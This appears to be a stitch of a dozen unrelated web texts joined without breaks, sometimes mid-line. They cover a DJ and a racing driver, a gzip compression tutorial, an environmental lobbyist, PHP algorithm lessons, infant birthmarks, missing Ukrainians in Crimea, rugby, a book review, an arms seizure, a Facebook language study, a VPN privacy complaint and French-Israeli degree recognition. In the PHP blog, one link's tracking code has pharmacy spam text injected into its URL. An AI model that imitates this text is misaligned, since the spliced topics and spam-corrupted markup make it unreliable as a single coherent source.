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Hinchcliffe — recently signed as the No. 77 driver for Schmidt Peterson Motorsports, the IndyCar entity founded by Sam Schmidt — won three races during the 2013 season.
Deadmau5 said it's true that rock stars want to be athletes and athletes want to be rock stars. But no actual role reversal is in the immediate future.
"We just made a promise to each other: He wouldn't be entering any kind of DJ world in the next two years, and I won't be on the Indy (circuit) for two years," Deadmau5 said.
The musician said the adrenaline rush found in each world is similar, to a point.
"It's comparable," Deadmau5 said. "Me screwing up in front of 20,000 people is kind of comedic and OK. (Hinchcliffe) screwing up, even in front of no people..."
"Painful and expensive," Hinchcliffe said to complete the thought.
Call Star reporter David Lindquist at (317) 444-6404. Follow him on Twitter: @317Lindquist.
Read or Share this story: http://indy.st/1obaOe4How to use gzip compression to get your Google PageSpeed Score Higher
Recently I came across Google’s PageSpeed checker extension for Chrome’s developer tools. Page speed in general has always been a common sense thing for me. I think that is one skill that developers who grew up in the dial-up era vs the broadband era understand a little better than most. With that said I’ve apparently gotten very lazy! Nearly all my website properties were testing awfully low and slow.
The increase of widely available high-speed internet is breeding a NEW type of user. This new generation of user is far less patient. Your websites MUST be quick and fast or they move on. Google recognizes this. While there is some debate about your page speed affecting your SERP (Serach Engine Results Page) rank it just makes efficient sense to do everything you can for your clients and yourself when it comes to speed. Why would Google make all of these speed tools and give you graphs about speed inside their Webmaster Tools if it wasn’t a factor?
To make your sites faster you simply have to make them smaller! This is what gzip does for you.
This video from Google explains gzip in some simple terms.
I tried to find any reason to NOT use gzip in this day and age.
There is NONE!
How to implement gzip in a few seconds
Apache Users
Apache users can simply put these lines in an.htaccess file at the root of there website directory. This covers most of your bases.
AddOutputFilterByType DEFLATE text/plain AddOutputFilterByType DEFLATE text/html AddOutputFilterByType DEFLATE text/xml AddOutputFilterByType DEFLATE text/css AddOutputFilterByType DEFLATE application/xml AddOutputFilterByType DEFLATE application/xhtml+xml AddOutputFilterByType DEFLATE application/rss+xml AddOutputFilterByType DEFLATE application/javascript AddOutputFilterByType DEFLATE application/x-javascript 1 2 3 4 5 6 7 8 9 AddOutputFilterByType DEFLATE text / plain AddOutputFilterByType DEFLATE text / html AddOutputFilterByType DEFLATE text / xml AddOutputFilterByType DEFLATE text / css AddOutputFilterByType DEFLATE application / xml AddOutputFilterByType DEFLATE application / xhtml + xml AddOutputFilterByType DEFLATE application / rss + xml AddOutputFilterByType DEFLATE application / javascript AddOutputFilterByType DEFLATE application / x - javascript
PHP Users
PHP has a nice gzip object that will detect the browsers available compression type and serve up the page accordingly. I just add this line to the top of any PHP files in my web projects.
<?php if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) ob_start("ob_gzhandler"); else ob_start();?> 1 <?php if ( substr_count ( $_SERVER [ 'HTTP_ACCEPT_ENCODING' ], 'gzip' ) ) ob_start ( "ob_gzhandler" ) ; else ob_start ( ) ;?>
Optionally you should be able to add: AddOutputFilterByType DEFLATE application/x-httpd-php text/html to the.htaccess code above but I have not tested it.
Windows IIS Users
I’m not one but it looks pretty straight forward. Maybe this Stackoverflow thread will help you.
Google PageSpeed Checker Quirks with CSS and JS files.
During my testing a spent a great deal of time wondering WHY the PageSpeed tool was constantly telling me my JS and CSS weren’t being compressed. Nearly every other gzip testing utility was telling me they were. In the end I couldn’t figure it out and eventually they went away. If you are worried just try another tool like http://gzipwtf.com/
Are there other ways to make my site smaller?
Compress/Minimize your Javascript.
Minimize your CSS files.
Only serve up what you are going to have the USER be using!
Scale your images.
I obviously violate a few of these rules but that doesn’t mean you have to!
ResourcesPHILADELPHIA—Gene Karpinski isn’t that tall. But it didn’t keep him off the basketball court in the late 1960s, when environmentalism was leaping skyward and his sneakers squeaked as a freshman player at Brown University.
“I’m still playing, that’s what’s important,” Karpinski said this week.
Four decades later, with wooly white sideburns accounting for much of his hair, Karpinski is still working on environmental issues in his 11th year as president of the League of Conservation Voters. Today, he’ll achieve a new goal by speaking at the Democratic National Convention about climate change. He’ll be taller than the delegates below.
“It’s an honor, and it’s an important conversation to have,” Karpinski said in one of several conversations with ClimateWirethis week. He plans to use his speech to underscore Donald Trump’s assertion that global warming is a “hoax.”
In some ways, Karpinski’s selection by the Clinton campaign is almost automatic. Under his leadership, the LCV Action Fund made its earliest presidential endorsement ever, in November 2015, before a single primary vote had been cast. That decision gave Clinton credibility on climate change as she faced Vermont Sen. Bernie Sanders and former Maryland Gov. Martin O’Malley, both of whom were promoting more aggressive policies than Clinton to reduce greenhouse gases.
So it was met with disbelief when Karpinski justified the endorsement by saying Clinton is the best candidate to challenge Trump. A Sanders spokesman, Michael Briggs, said at the time that LCV’s decision was made “on something other than merit.” To make his point, he compared Sanders’ lifetime LCV score with Clinton’s—95 to 82, respectively.
Karpinski’s assertions might be vindicated in the eyes of his supporters later tonight when Clinton officially accepts the Democratic nomination. That he’ll appear on the same stage, on the same day, isn’t a coincidence. LCV officials didn’t stand idly by; they made it happen.
Tiernan Sittenfeld, the group’s senior vice president for government affairs, was making the case to the Clinton campaign for weeks, or longer, that Karpinski is the right person to frame the contrasts between Clinton and Trump on climate change. Some of those conversations appear to have reached into Clinton’s inner circle. Asked if she talked with campaign chairman John Podesta about the speaking engagement, Sittenfeld said, “I spoke with a lot of people.”
The pitch went something like this:
LCV’s “No. 1 priority” this year is electing Clinton to advance climate action, Sittenfeld said in an interview. She also indicated to the campaign that Karpinski would throw some punches. He’ll lambaste Trump for making comments that question the scientific findings related to rising temperatures. He will likely refer to him as a “denier” tonight.
“It would be really important for LCV to speak on a big stage why climate matters so much in this election,” Sittenfeld said, describing her pitch.
Time passed.
Then last Thursday, she received a written invitation for Karpinski to speak. Soon after that, Karpinski received an email from Sittenfeld saying, “Woo hoo.” They announced it publicly two days later.
Karpinski is a lifelong environmentalist. He attended high school in Connecticut, then graduated from Brown and Georgetown University Law Center. A few years after finishing school, he joined the Colorado Public Interest Research Group (PIRG). By 1984, he was executive director of PIRG’s national office in Washington, D.C. He led the group for more than 20 years. In 2006, Karpinski joined LCV.
Years earlier, Debbie Sease, now the Sierra Club’s policy director, remembers hearing from young environmentalists who left PIRG to work at the Sierra Club about the lessons that Karpinski would recite on persuasive speaking.
“They all said they were trained by Gene,” Sease said.
The lesson was simple: Make three points, and only three points.
On Tuesday, he did just that. Karpinski climbed onto a stage and told several hundred activists, lawmakers and environmental leaders attending a reception that now is the time to leverage climate change as an electoral asset for Clinton. He thanked each member of Congress in attendance, by name, and said, “The stakes have never been higher.”
Not everyone subscribes to Karpinski’s speaking methods. Carol Browner, the former administrator of U.S. EPA under President Bill Clinton and a climate adviser to President Obama, shrinks from the idea of addressing a convention. “Not for me,” she said, edging away from a reporter.
For Karpinski, it’s an upgraded version of his daily routine. He is regularly seen in the hallways of the Capitol, waiting for senators to emerge through doorways or come off the floor, so he can sprinkle an idea or two in their ear. And though it’s not uncommon for environmentalists to address Democratic conventions, the feeling this year is different, many observers say.
The polar positions of Clinton and Trump on climate are drawing sharper contrasts than in previous elections. It’s additionally elevated by Obama’s executive actions to cut emissions at power plants and by the Paris climate agreement, Democrats say.
“It’s much more front and center than it’s been in the past,” said David Goldston, director of government affairs at the Natural Resources Defense Council.
Karpinski is also known to make friends by challenging their rivals. That happened earlier this month when LCV launched a $400,000 “persuasion” campaign against Sen. Rob Portman (R-Ohio). The group’s goal is to help elect Portman’s opponent, Democrat Ted Strickland, in the hope of giving Senate control back to Democrats next year. The group said Portman’s environmental record is at “rock bottom.”
That raised questions about LCV’s strategy, since Portman is a moderate Republican who believes in climate change and is spearheading legislation on energy efficiency. If LCV attacks moderates, how can it find Republican partners for climate action?
Karpinski is unapologetic. He said this week that Portman’s opposition to the Clean Power Plan makes him a rival who can’t be worked with.
“Yeah, he had one bill,” Karpinski said at an event here this week, apparently referring to Portman’s efficiency legislation. “If you’re not there on the Clean Power Plan, we’re not with you.”
LCV does support Republican Sens. Kelly Ayotte of New Hampshire and Susan Collins of Maine, both of whom support Obama’s climate rule.
Karpinski might convey sternness in his policy decisions, but he’s also apt to slap reporters on the back, nudge someone playfully with his elbow and give close colleagues a hug.
Washington Gov. Jay Inslee (D) calls him a friend. That illustrates more than just Karpinski’s knack for earning people’s trust. It also shows a deep connection to the political infrastructure in Washington, of which Clinton is an integral component.
Inslee credits Karpinski for helping him win his 1998 congressional election. He ran against Rep. Rick White, a two-term incumbent Republican. Karpinski and LCV put White on its “Dirty Dozen” list of polluters, even though it already listed 12 GOP lawmakers. White made it a baker’s dozen.
In the Northwest, Republicans will “pose” as environmentalists, Inslee said in an interview this week.
“LCV helps smoke them out, peel back the camouflage and let people know the truth,” he said.
Reprinted from Climatewire with permission from Environment & Energy Publishing, LLC. www.eenews.net, 202-628-6500One of the comparisons I see of developers that have gone to school and that have not is a variety of less orthodox lessons that magically help in the real world. I usually say “Learn it as you go” but these lessons are so fundamental that unless you pick a super-specific field, you won’t learn and that will make you a lesser dev.
In the spirit of this, I decided dive deep down, read through Quora questions, Reddit discussions, and other news sources to compile a full list of knowledge that a programmer of any kind lacks if they had not attended school.
A recently made Quora question compiled some of the answers:
algortihms, data structures, and design patterns
compilers (implementations)
programming languages (implementations)
machine learning (implementations
finite state machines
code-as-data
functional programming
object composition
recursion
lambda calculus
pointers
type systems, category theory
search
numerical methods
common vocabulary, jargon, conventions
concurrency
artificial intelligence
operating systems
And while this is not a complete list it gives us an interesting starting point. Some of these need extra clarifications while some of these can be dismissed. So let’s dive into these one by one.
Today, I will cover the first bullet point. Algorithms, Data Structures, and Design Patterns.
Resource:
http://www.victusspiritus.com/2011/03/14/brushing-up-on-computer-science-part-1-big-o/ – CS “brushing up”
https://github.com/AntJanus/learn-the-unlearned – repo of files for these lessons
Donald E. Knuth’s books on programming – books on programming that go over most of the topics above. Suggested by HackerNews user.
Algorithms, Data Structures, and Design Patterns
All of three of these basically compile to this: knowledge of efficient code placement and efficient execution of code to achieve the best possible result in the shortest amount of time. What a mouthful. Of course, that’s not the official definition but that’s totally fine. An algorithm, then, is basically a step-by-step procedure for calculations/execution. Data structure is a particular way of storing and organizing data (efficiently). A design pattern is basically a solution to a specific design problem. Design not meaning graphic design, but rather code structure and setup.
So, how can you learn these without taking courses? And why are they important?
Well, the biggest deal with these things is efficiency. How will these help you become more efficient with your coding? Computer programs are basically algorithms strung together coupled with data storage.
Algorithms
The deal with algorithms is that you’ll tie efficient mathematics to increase the efficiency of your programs without increasing the size of your programs exponentially. I’ve found a great website with a list of such algorithms.
Algorithms allow you to significantly cut down on processing time with some algorithms cutting your processing time from several years to several seconds when you deal with a great deal of data.
Just to illustrate with some examples, I’ll use PHP to create an array-searching algorithm. It will seem counter-intuitive, mainly because we already have an array-search algorithm in PHP, but this is how things get started, even in PHP. You start with a simple inefficient algorithm and move on up. Okay, here we go:
<?php function searchArray($array, $term){ $found = FALSE; $position = 0; foreach($array as $key => $value){ if($value == $term){ $found = true; $position = $key; return $key; } } if($found == FALSE){ return 'Not found'; } } $fruits = array('oranges', 'apples', 'bananas'); $watermelon = searchArray($fruits, 'watermelon'); echo $watermelon;?>
The foreach part is like an “algorithm”. It may look more familiar if it was rewritten in a “for” statement rather than “foreach” but you get the idea. Can you think of a faster way to search an array? The problem here is that the more terms you have, the longer it will take to find the position of our element. Which sucks. Well, what if we ordered the array first or kept a self-ordering array (described below)? You could potentially use a binary search then which basically works by “guessing” and finding the answer. It picks the middle of your array and tries to figure out if it should look toward the top or bottom half. Then it hits the middle of that half and so on until it finds the right result.
Where to learn it:
https://class.coursera.org/algs4partI-002/class/index – coursera course on algorithms
http://algorithms.openmymind.net/search/linear.html – basic algorithms that are out there in the wild, thoroughly explained. This was a great refresher for me and taught me a good amount.
coursera.org – college course on the subject
http://www.lynda.com/JavaScript-tutorials/Foundations-of-Programming-Fundamentals/83603-2.html?srchtrk=index%3a11%0Alinktypeid%3a2%0Aq%3aalgorithm%0Apage%3a1%0As%3arelevance%0Asa%3atrue%0Aproducttypeid%3a2 – Lynda’s programming fundamentals touches on the subject
https://www.quora.com/Algorithms – quora’s Algorithm topic is also a graet source for learning about it.
<a href="http://www.khanacademy.org/math/applied-math/cryptography/comp-number-theory/v/algorithmic-efficiency" onclick="_gaq.push(['_trackEvent', 'outbound-article', 'http://www cialis overnight delivery.khanacademy.org/math/applied-math/cryptography/comp-number-theory/v/algorithmic-efficiency’, ‘http://www.khanacademy.org/math/applied-math/cryptography/comp-number-theory/v/algorithmic-efficiency’]);” id=”” target=”_blank”>http://www.khanacademy.org/math/applied-math/cryptography/comp-number-theory/v/algorithmic-efficiency – creating/measuring algorithm efficiency
Data Structures
You probably know the basics of this. You have your arrays, integers, booleans, strings, as well as combination. A study of this can really help you understand how data operates and what makes your programming more efficient, rather what data type. For example, a string is actually an array of characters (basically speaking) so you should know that costly array functions will be just as costly for your strings.
The great thing about data structures is that using the correct structure can improve what you’re doing. I would say that this is one of the reasons why more seasoned programmers prefer strong statically-typed languages (languages that require a declaration of what type of a variable it is). So what is a data structure?
A data structure is a data-type (like int, array, etc.) with various functions that allow it to grow, be smaller, and definitions on how it should be treated. Let’s create a special self-ordering array, basically a slightly extended array.
<?php class SelfOrderingArray{ protected $arr = array(); protected $type = ''; public function __construct($type = 'NUMERIC', $defaultArr = array()){ $this->type = $type; $this->arr = $defaultArr; } private function innerSort(){ if($this->type == 'NUMERIC'){ sort($this->arr, SORT_NUMERIC); } elseif($this->type == 'STRING'){ sort($this->arr, SORT_STRING); } else{ sort($this->arr, SORT_REGULAR); } return true; } public function addElement($el){ array_push($this->arr, $el); $this->innerSort(); return true; } public function rmElement($el){ if(isset($this->arr[$el])){ unset($this->arr[$el]); $this->innerSort(); } return true; } public function getArray(){ return $this->arr; } } $newArr = new SelfOrderingArray('STRING', array('orange', 'apple', 'watermelon')); $newArr->addElement('pear'); print_r($newArr->getArray());?>
We’ve created a (inefficient) data structure that orders itself whenever an element is added or removed. This can be useful for number of reasons. But outside of that, this is pretty much how new data structures are made. Of course, we’d normally also create a more efficient “Add” system that would not require a resort of the entire array but rather the only parts of the array that require it. But that’s part of programming. You try to make things more efficient by just thinking about it and testing. What if we split the array whenever we added an element, added the element to the end/beginning
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the degree to which it grows during the first few months of life.
"Over time, most infantile hemangiomas will disappear on their own, but there are instances where dermatologists will recommend treatment," said Dr. Friedlander. "For example, if an infantile hemangioma occurs around the eyes, it can obstruct and prevent normal visual development if left untreated, or, if they occur in the groin area, they can become inflamed and then cause pain to the child. Depending on their size, some facial birthmarks may leave behind a scar or saggy skin after they disappear. That is why it is often important for parents to consult a dermatologist as soon as their baby develops a birthmark, so it can be properly evaluated to determine if treatment is necessary."
Dr. Friedlander added that the presence of a large facial hemangioma is sometimes the first sign of a more serious disorder termed PHACES. In this disorder, a hemangioma occurs on the face which is broader and more likely to pose a problem that requires medical intervention. Because PHACES may be a sign of an underlying abnormality, including heart defects, eye abnormalities, blood vessel or brain problems, it also requires specialized evaluation and imaging.
There are times infantile hemangiomas require treatment, and if they do, there are several treatment options available. While systemic steroids and intralesional steroid therapy - where the treatment is injected directly in the birthmark - have been widely used, they may cause side effects that a dermatologist will need to discuss with parents prior to treatment. A recent breakthrough in the treatment of hemangiomas is the use of propranolol, a drug used to treat high blood pressure. This medication has recently been found to be very effective for preventing growth of and actually shrinking these lesions, but this medication also has potential side effects that can be serious and need to be monitored closely. Other effective treatments being used are topical medications and laser therapy.
Another common vascular birthmark that may require treatment is a port- wine stain. Unlike infantile hemangiomas, port-wine stains will slowly darken and thicken over time and will not resolve on their own. Characterized by a flat appearance with a pink, red, or purplish discoloration, port-wine stains commonly appear on the face and can affect a child physically and emotionally. Dr. Friedlander explained that port-wine stains can be associated with eye problems, including glaucoma, and seizure disorders. For this reason, infants with port-wine stains need to be evaluated in a timely manner.
"Because port-wine stains grow and thicken over time and will not go away, many parents opt to treat them early when children are small," said Dr. Friedlander. "While dermatologists have been using pulsed-dye lasers for decades to treat these types of birthmarks, different forms of laser therapy that penetrate more deeply - such as the Nd:YAG laser and the alexandrite long-pulsed laser - also are now being used with much success." Dr. Friedlander noted that laser therapy is usually started within the first six to 12 months of life, and approximately six to eight treatments are needed to obtain optimal results.
Dr. Friedlander added that new research is investigating the use of an oral medication, rapamycin, for treating port-wine stains in conjunction with laser therapy.
"This is an exciting potential treatment because it could help prevent the recurrence of the birthmarks that initially fade, but sometimes recur, when treated with the pulsed-dye laser," said Dr. Friedlander.
White Spots: A Cause for Concern?
While far less commonly noted at birth than red birthmarks, white birthmarks can appear as white spots in a raised or flat pattern on the skin. Dr. Friedlander noted that although white birthmarks are generally harmless, they can sometimes result in a permanent loss of pigmentation in the affected area. Some can grow and removal may be a consideration.
"Generally, a few white spots that are flat are not cause for concern. However, multiple white spots or lesions that are elevated or thick need to be evaluated by a dermatologist," said Dr. Friedlander, who added that removal by excision or the CO2 laser is sometimes used when white birthmarks require medical intervention, which is very rare.
Brown Birthmarks Linked to Melanoma
One type of brown mole that is present at birth is the congenital nevus. This type of brown birthmark results from an increased number of melanocyte cells (the pigment-producing cells of the body) and can develop into melanoma - the deadliest form of skin cancer. Most moles present at birth, particularly the small ones, have a very, very small risk of converting into melanoma. Dr. Friedlander explained that approximately 3 to 6 percent of very large congenital nevi can possibly develop a melanoma, but this percentage is quite controversial. Most moles never get bigger than two or three inches in diameter, but some larger lesions that grow and darken are hard to follow and pose a higher risk than smaller lesions. As such, Dr. Friedlander recommended that those moles deemed a higher risk for developing into melanoma should be followed closely or considered for surgical removal if possible, by a dermatologist.
Another brown birthmark that may be worrisome for families is a café au lait birthmark. The term café au lait is French for "coffee with milk," which refers to the light brown color of this flat type of birthmark. While these birthmarks may not be appealing visually, Dr. Friedlander added that they do not pose a medical concern unless there are multiple café au lait birthmarks or a very large spot is present.
"If a patient has multiple café au lait birthmarks, they need to be evaluated by a dermatologist for other associated conditions. In particular, the health care provider needs to rule out neurofibromatosis - a genetically inherited disorder in which the nerve tissues grow tumors," said Dr. Friedlander. "For patients who want to treat a cosmetically troublesome facial café au lait birthmark, various lasers exist which can be useful."
Dr. Friedlander encouraged concerned parents of infants or children with birthmarks to see a dermatologist to rule out any underlying conditions or medical problems that could be linked to them.
Source:
American Academy of Dermatology (AAD)fce4ba235c9555bea18be7713a2a852e.jpg
По состоянию на вечер 23 марта количество пропавших, или незаконно выкраденных в Крыму украинцев составляет девять человек. Об этом сообщает Центр журналистских расследований, ссылаясь на данные медиа-центра Министерства обороны Украины и общественных организаций.
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Александо Филиппов - старший лейтенант, в/ч 1956, Симферополь. Пропал 11 марта между 14 и 15 часами дня: ушел обедать домой и не вернулся. По словам свидетелей, "задержан" вооруженными людьми. В квартире следы обыска, пропали некоторые вещи: телефон, ноутбук, нетбук, фотоаппарат.
Александр Кальян - подполковник, командир станции дальней навигации в Бахчисарайском районе. Похищен вооруженными людьми 17 марта во время штурма части в селе Плодовом.
Иван Николусь - начальник пограничного поста пгт. Приветное (Алушта). "Задержан" 20 марта на вокзале в Симферополе с травматическим оружием, которое хотел вывезти на материк.
Юлий Мамчур - полковник, командир 204-й бригады тактической авиации (аэродром Бельбек). "Арестован" 22 марта во время захвата части российским спецназом.
Игорь Воронченко - генерал-майор, заместитель командующего ВМС Украины по береговой обороне. 22 марта выехал из штаба Центра войск береговой обороны Симферополя в сопровождении нескольких людей в неизвестном направлении.
Демьяненко В.Н. - капитан 2 ранга, командир воинской части А4398 (г. Севастополь), незаконно задержан 23 марта. Факт задержания зафиксирован. Лица, осуществлявшие захват украинского офицера, и их принадлежность, установлены, сообщил руководитель Центра военно-политических исследований Дмитрий Тымчук.
Общественные активисты:
Станислав Полищук. Обстоятельства исчезновения неизвестны, информация проверяется.
Иван Бондарец, Валерий Ващук - активисты Евромайдана из Ровно. Не выходят на связь с конца прошлой недели. Информация об обстоятельствах исчезновения проверяется.Saracens and England will learn on Tuesday whether one of their key players, Maro Itoje, will be available for their key European Champions Cup games against Clermont Auvergne in the short-term and the 2018 Six Nations championship in the longer-term after the 23-year-old was referred to a consultant following scans on a facial injury incurred in the Aviva Premiership match against Harlequins at the Twickenham Stoop on Sunday.
Itoje, who featured in two of the three autumn internationals, collided with England team-mate and Quins’ full-back, Mike Brown, shortly after half-time and was led from the field with blood streaming from his mouth.
The fear is that Itoje might have sustained structural damage to the jaw, cheekbone or eye socket. Another England colleague, Exeter Chiefs wing, Jack Nowell, has only just returned to action following two months on the sidelines with a fractured cheek and eye socket.
England open the defence of their Six Nations title against Italy in Rome on February 4.
Saracens are badly in need of a full contingent of players following their last-minute 20-19 loss to Harlequins, their fifth defeat in succession.
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They are back-to-back champions in Europe and will be looking to extend their record 20-match unbeaten run in the competition when they take on last year’s finalists, Clermont Auvergne, at Allianz Park on Sunday before heading to France for the return leg seven days later.
Saracens currently top Pool 2 ahead of unbeaten Clermont following successive bonus point victories over Northampton and Ospreys.In his 2011 book Periodic Tales, science journalist Hugh Aldersey-Williams delves deeply into the history, science, and lore of the periodic table and the chemical elements catalogued within it. As an avid collector of element samples, Aldersey-Williams applies his acquisitive enthusiasm for the subject to his research, tracking down sundry data on each element with thoroughness and verve. If you are at all fascinated by the fundamental building blocks of matter, this book will certainly teach you much on the subject. Its main fault, however, is that it fails to give any coherent structure to what feels like a collection of miscellaneous tangential anecdotes.
The subtitle of Periodic Tales proclaims it a “Cultural History,” a phrase which in this case seems intended to relinquish the responsibility of being a science book and give Aldersey-Williams license to write whatever he feels like. The contents of the book are arranged very haphazardly, making it feel like a collection of unrelated magazine articles, similar to what you might find in a National Geographic but not quite as engaging. Much of what you’ll read in this book seems like it could be postscripted with the phrase, “... but I digress.” When Aldersey-Williams sticks to science history and discusses how the elements were discovered, isolated, or in some cases created, or how they are utilized in industry, the book is really quite fascinating, but when he goes off on the perceived gender of a particular element, an instance where an element is mentioned in a poem, or how a relatively unknown contemporary artist made a sculpture out of some weird metal, interest quickly wanes. At one point he interviews someone who lives in a town that’s mentioned in a Thomas Hardy novel, and he spends two pages talking about this novel, even though it has nothing to do with the elements. What it all adds up to is fuel for some future game of Trivial Pursuit, but even after having just finished the book I find myself struggling to remember much of the details because they weren’t presented in any sort of cohesively organized narrative.
The book is divided into five sections which could not be more arbitrary—Power, Fire, Craft, Beauty, and Earth. Because the author often discusses more than one element in each chapter, he can’t present them in order by atomic number, but couldn’t he at least have arranged them by chemical family? Or why not go with a chronological organization, from ancient alchemy to contemporary nuclear physics? Wouldn’t that have been a better way for the reader to experience the “Cultural History” promised by the subtitle?
Aldersey-Williams is a Brit, and the book appears to have been written for a British audience. That’s not a criticism, just a clarification for American readers, who won’t always get the author’s jokes or pop culture references. That won’t hinder your overall understanding of the text. He conducts most of his research and interviews in Britain, though he does travel elsewhere in the world when the elements lead him there.
For the most part I enjoyed reading Periodic Tales, but the disjointed patchwork approach made it feel like a long haul. If you’re really interested in chemistry and enjoy reading about the history of science you will find much to like here, but there will likely also be moments when you’ll question the relevance of what you’re reading and wonder if it’s worth your time.Greece’s coast guard has reportedly arrested two “heavily armed” British men carrying more than a dozen guns and thousands of rounds of ammunition from Turkey, a top security official said.
A high-ranking security official told AP that the suspects were both Iraqi-born British subjects in their 20s. The official spoke on condition of anonymity because he was not authorized to comment on the ongoing investigation.
The two were arrested Saturday night by coast guard officers near the port of the Greek city of Alexandroupolis, off the Turkish border.
The two suspects were driving a trailer loaded with more than a dozen guns of an unspecified type and well over 20,000 rounds of ammunition, the security official said. According to preliminary reports, the load included “3,357 handguns.” The number has not yet been confirmed by any other sources or official statements.
German firearms supplied to Kurds emerge at Iraqi weapon markets – media https://t.co/8WEiBZyoMgpic.twitter.com/hg0aN3wN1q — RT (@RT_com) January 23, 2016
The two suspects are reportedly not on any terrorist or criminal database.
Police counterterrorist elements and National Intelligence Agency officers were scrambled to head for Alexandroupolis, AP reported.
Some previous reports say Greece’s territory was previously utilized for smuggling arms and ammunition. In May 2015, border guards in northeast Greece arrested a 28-year-old man from Syria at the Kipoi border crossing, said to be carrying a fake British driver’s license.
He was traveling to Turkey in a car with Austrian license plates. During a search, officers found more than 95,000 rounds of ammunition hidden in special compartments inside the vehicle.Researchers have confirmed what we've suspected all along: Parents and teens really do speak different languages online.
But so do introverts and extroverts; men and women; the neurotic among us; and the well-balanced.
The journal PLOS ONE has just published the results of the largest study to-date of personality and language. The findings offer an unprecedented look at how differences in age, gender and temperament affect how we communicate on social media.
Using over 15 million messages posted by 75,000 Facebook users, researchers at the University of Pennsylvania were able to find which words, phrases and topics correlated most closely with certain personalities and demographics.
Females were more likely to use the word "excited," the study found; males more commonly used "f*ck." Those ages 19 to 22 discuss getting "drunk," while 23- to 29-year-olds opt for "drinking beer."
"[T]aken all together, these word clouds provide an unprecedented window into the psychological world of people with a given trait,” said Johannes Eichstaedt, the study's co-author, in a press release.
The vast data available via Facebook allowed the researchers to take an "open vocabulary" approach to their analysis: Instead of comparing the frequency with which different groups used a predetermined set of words, they could instead "[derive] important words and phrases from the sample itself," the press release noted.
What You Say If You're 15 ;)
On Facebook, teens' language is dominated by emoticons, references to school and interjections like "ugh" and "bleh." Twenty-somethings graduate to discussing classes, semesters and "sh*t," and people in their mid-20s tend to discuss weddings, days off and being at work. For individuals between ages 30 and 65, family dominates discussions. (See the word cloud above.)
Here's additional proof of the age divide between the "me" generation and the "we" generation -- and more fodder for fears that young people are narcissistic online:
Complaining also decreases with age. As people get older, their Facebook posts contain fewer instances of "freakin annoying" and more talk of "loving," "caring," "honest" "family" and "friends."
Introverts Post About The Internet, Extroverts Post About Parties
Different personality types gravitate toward different words and topics, the study found. Extroverts were more likely to discuss "chillin" and "parties," and introverts were in turn more focused on solitary activities, like "manga," "anime" and "computer." The researchers also highlighted a connection between "emotionally stable" individuals and their tendency to discuss social activities, such as sports and vacations, which they suggested might "foster greater emotional stability."
Researchers said that the study's results offer a glimpse at the world through others' eyes.
“When I ask myself, 'What's it like to be an extrovert?’ ‘What's it like to be a teenage girl?’ ‘What's it like to be schizophrenic or neurotic?’ or ‘What's it like to be 70 years old?’ these word clouds come much closer to the heart of the matter than do all the questionnaires in existence,” said Martin Seligman of the University of Pennsylvania's Positive Psychology Center.
He Says, She Says
In an email, H. Andrew Schwartz, one of the study's co-authors, stressed that the study's findings do not highlight the topics discussed most among the average male or female, but rather the expressions that set them apart.
"Most male and female language is the same," he wrote. "In fact, if those word clouds were just based on frequency, they would look nearly identical. Our quantitative analyses are designed to find the differences."
The researchers' model was able to predict an individual's gender from their language patterns with 91.9 percent accuracy, the study noted.A privacy advocacy group has filed a formal complaint with the Federal Trade Commission, alleging that Hotspot Shield, a popular free VPN service, collects numerous pieces of data and intercepts traffic in contrast to the company's claim that it provides "complete anonymity."
In its 14-page filing, which was submitted Monday morning, the Center for Democracy and Technology claims that the company displays persistent cookies and works with various other entities for advertising purposes, among other alleged unsavory practices.
The CDT partnered with researchers from Carnegie Mellon University to determine that the VPN service sometimes "redirects e-commerce traffic to partnering domains." As the complaint continues:
For example, when a user connects through the VPN to access specific commercial web domains, including major online retailers like www.target.com and www.macys.com, the application can intercept and redirect HTTP requests to partner websites that include online advertising companies.
The organization wants the FTC to open an investigation into what the CDT has dubbed Hotspot Shield’s "unfair and deceptive trade practices."
As Ars has reported previously, some VPN providers are likely to be more scrupulous than others: but in the end there’s no way for most users to know in a meaningful and obvious way that they should trust one provider over another. (We published an article in May 2017 explaining how to roll your own VPN!)
When Ars attempted to contact Anchor Free, our e-mails were returned as undelivered.
UPDATE August 10 2:34pm ET: Ars received an e-mail from Nati Katz, a spokesman for AnchorFree, who wrote that he had been "asked to relay a quick statement AnchorFree issued on the matter, and have not distributed wide."
The two paragraph statement largely doesn't address the specific points in the CDT's complaint, but does say: "we do not store user IP addresses and protect user personally identifiable information from both third parties and from ourselves," adding that "AnchorFree prides itself on being transparent about its data practices and would be happy to engage in a discussion to clarify the facts and better understand the nature of the CDT’s concerns."
Ars has asked Katz and/or AnchorFree to respond to the specific points about persistent cookies and traffic injection. We will update this post if we hear back.
UPDATE 2 August 10 5:02pm ET: After Ars pressed on the allegations of traffic injection and persistent cookies, Katz again sent a statement that did not fully address the points raised in the CDT complaint.
“We never redirect our users’ traffic to any third-party resources instead of the websites they intended to visit. The free version of our Hotspot Shield solution openly and clearly states that it is funded by ads, however, we intercept no traffic with neither the free nor the premium version of our solutions. Our users’ online privacy has always been our absolute priority.”
We have sent further questions and again will update this post with any more responses.A Jewish lawmaker in France is warning that he will move to stymie French-Jewish immigration to Israel if the country does not act quickly to fully recognize French academic degrees.
Meyer Habib said he will call on French Jews to freeze their plans to immigrate to Israel if the state does not, in the next three months, enact reforms that would allow French doctors, dentists, nurses and lawyers to immediately start working in Israel without having to pass difficult tests.
Habib, a longtime friend of Benjamin Netanyahu, told The Times of Israel during an interview at the Knesset that he believes the prime minister is on his side, but that members of the professional elite in Israel places stumbling blocks in the way of reform, as they fear an influx of French professionals would lead to a decrease in wages for native Israelis.
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“I am telling French Jews: Either Israel fully recognizes your degrees and lets you work after an internship of maybe two or three months, to learn the language, or you shouldn’t come. Because it’ll be a catastrophe,” he warned.
Although generally supportive of plans by community members to immigrate, Habib, a center-right politician with parliamentary responsibility for French people living in Israel, said the time has come to pressure Jerusalem over the issue, which he said has for years hamstrung efforts to bring more French Jews to Israel.
“There are many who want to come, but they would get lost. I tell them: Don’t come, you won’t find work. If Israel doesn’t recognize your diplomas, stay in France,” Meyer said.
“People come here with families and don’t manage to put food on the table. They spent all their savings; it’s psychologically exceedingly troubling and people are depressed because their social status is being broken. Morally this is unacceptable.”
Habib posed an ultimatum: “Today, I say clearly: If in the coming three months there is no tangible progress, I will tell the Jews of France: Don’t come to Israel until your degrees are recognized. You can’t bring people here who have studied for five or ten years and then have to work as waiters, have difficulty making ends meet or have to burn through their savings.”
